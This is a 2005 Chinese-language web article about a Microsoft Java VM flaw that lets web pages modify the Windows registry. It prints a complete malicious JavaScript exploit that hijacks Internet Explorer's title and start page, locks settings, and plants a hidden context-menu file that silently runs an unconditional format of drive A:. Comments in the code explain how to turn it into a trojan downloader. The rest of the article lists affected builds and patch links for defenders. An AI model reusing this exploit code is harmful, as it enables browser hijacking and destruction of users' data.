Script

本类阅读TOP10

·一个简单的javascript菜单
·网站流量统计代码
·可编辑的 HTML JavaScript 表格控件 DataGrid II
·JavaScript通用库(一)
·在网页中控制wmplayer播放器
·层遇到select框时
·TYPEING TEST ON LINE 在线打字测试 Free Software Javascript (aiiiq)
·javascript表单之间的数据传递!
·让网页自动穿上外套
·搜索gb2312汉字在网上的频率

分类导航
VC语言Delphi
VB语言ASP
PerlJava
Script数据库
其他语言游戏开发
文件格式网站制作
软件工程.NET开发
如何不让网站修改你的注册表

作者:未知 来源:月光软件站 加入时间:2005-2-28 月光软件站

最近发现很多网友发表用javascript修改用户注册表的代码, 同时一些网站为将自己设为用户browser的home page或IE的标题, 故意使用这种代码. 在次, 我将向大家介绍,如何防止被网站修改了你的注册表.

首先让我们来看一下网站修改注册表的javascript code.

-----------------------------------------------------------------------------------------------------

<script>
//初始化actiVex控件
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>")
//初始化actiVex控件结束
//定义变量
function reg(){
try
{
//设定applets为0
a=document.applets[0]
//初始化Windows Script Host Shell Object
a.setCLSID("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}")
a.createInstance()
S=a.GetObject()
//初始化FileSystem Object
a.setCLSID("{0d43fe01-f093-11cf-8940-00a0c9054228}")
a.createInstance();
fs=a.GetObject()
try
{
//开始写注册表
//设定IE的标题为Internet Explorer
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","Internet Explorer")
//设定IE的默认首页为空白页
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","about:blank")
//让设定首页那项变灰
S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage",0x1,"REG_DWORD")
//让设定分级审查设定那项变灰
S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecChangeSettings",0x1,"REG_DWORD")
//在网页右键菜单中加入调用文件的命令
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盘\\","c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}");
//写入值为0xf3的dowrd值 注意[REG_SZ:字符型 REG_DWORD:双字节型 REG_BINARY:二进制型]
//对于REG_DWORD型和REG_BINARY型则有两种赋值方式
//直接用十进制的数表示,如:0,1等
//用十六进制的数表示,如:0x12,0xff等
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盘\\contexts",0xf3,"REG_DWORD")
//结束写注册表
//开始写硬盘
//生成一个名为c:\\5flash.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}的文件
hd=fs.CreateTextFile("c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
//把这个文件写入javascript内容
//脚本中的start /m 为最小化窗口 /autotest为自动 /u为无条件格式化
hd.write('<script>a=new ActiveXObject ("WSCript.Shell");a.run("start /m format.com a:/q /autotest /u");alert ("正在更新a盘系统文件,请稍等......");<\/script>')
//关闭这个文件
hd.close()
//把这个文件下载到客户机的c盘中,这里的路径完全可以改成网络上的,然后在后面接上.Copy("d:\format.txt"),这个脚本可以改成下载木马
//格式为file=fs.GetFile("网络路径").Copy("运行路径")
//这个脚本如果配合asp,那么完全成了一个功能非常强大的木马了
file=fs.GetFile("c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
//设定这个文件的属性为隐藏
file.Attributes=6
//结束写硬盘
}
catch(reg)
{}
}
catch(reg)
{}
}
function flash()
{
//隔100毫秒就运行一次
setTimeout("reg()",100)
}
flash()
//最后再重申,这个脚本不可用来害人,谢~
</script>

-----------------------------------------------------------------------------------------------------

大家会注意到, 这段代码首先会将com.ms.activeX.ActiveXComponent写到page中去,然后通过它来创建对{0d43fe01-f093-11cf-8940-00a0c9054228}即WScript.Shell的引用,所以问题的关键点就是javascript能在网页中使用com.ms.activeX.ActiveXComponent作为applet. 而com.ms.activeX.ActiveXComponent是Microsoft设计出来在Java Application和签名的可信任applet中使用的, 它本身不应该被作为applet在javascript中使用.这是Microsoft的Java VM的一个漏洞, 这个漏洞将会影响以下一些版本的VM:

 1. builds 版本 2000 系列

 2. builds 版本 3100 系列

 3. builds 版本 3200 系列

 4. builds 版本 3300 系列

大家可以在命令行输入jview,  看到version x.xx.xxxx中的xxxx就是你的builds号.

针对这个漏洞, Microsoft给出了响应的补丁, 请到

http://www.microsoft.com/java/vm/dl_vm40.htm

去下栽安装最新版的VM.

 

关于此漏洞的详细描述请看Microsfot的Knowledge base:

http://support.microsoft.com/support/kb/articles/Q275/6/09.ASP?LN=EN-US

 

最近, Microsoft在browser, email和IIS方面发现很多严重漏洞, 大家一定要经常的它的http://windowsupdate.microsoft.com/站点去看看有没有新的补丁要打. 很多病毒和黑客程序都是利用用户的麻痹大意来攻击.




相关文章

相关软件




月光软件程序下载编程文档电脑教程网站设计网址导航网络文学游戏天地幽默笑话生活休闲写作范文安妮宝贝
电脑技术编程开发网络专区谈天说地情感世界游戏元素分类游戏热门游戏体育运动手机专区业余爱好影视沙龙
音乐天地数码广场教育园地科学大观古今纵横谈股论金人文艺术医学保健动漫图酷二手专区地方风情各行各业

月光软件站·版权所有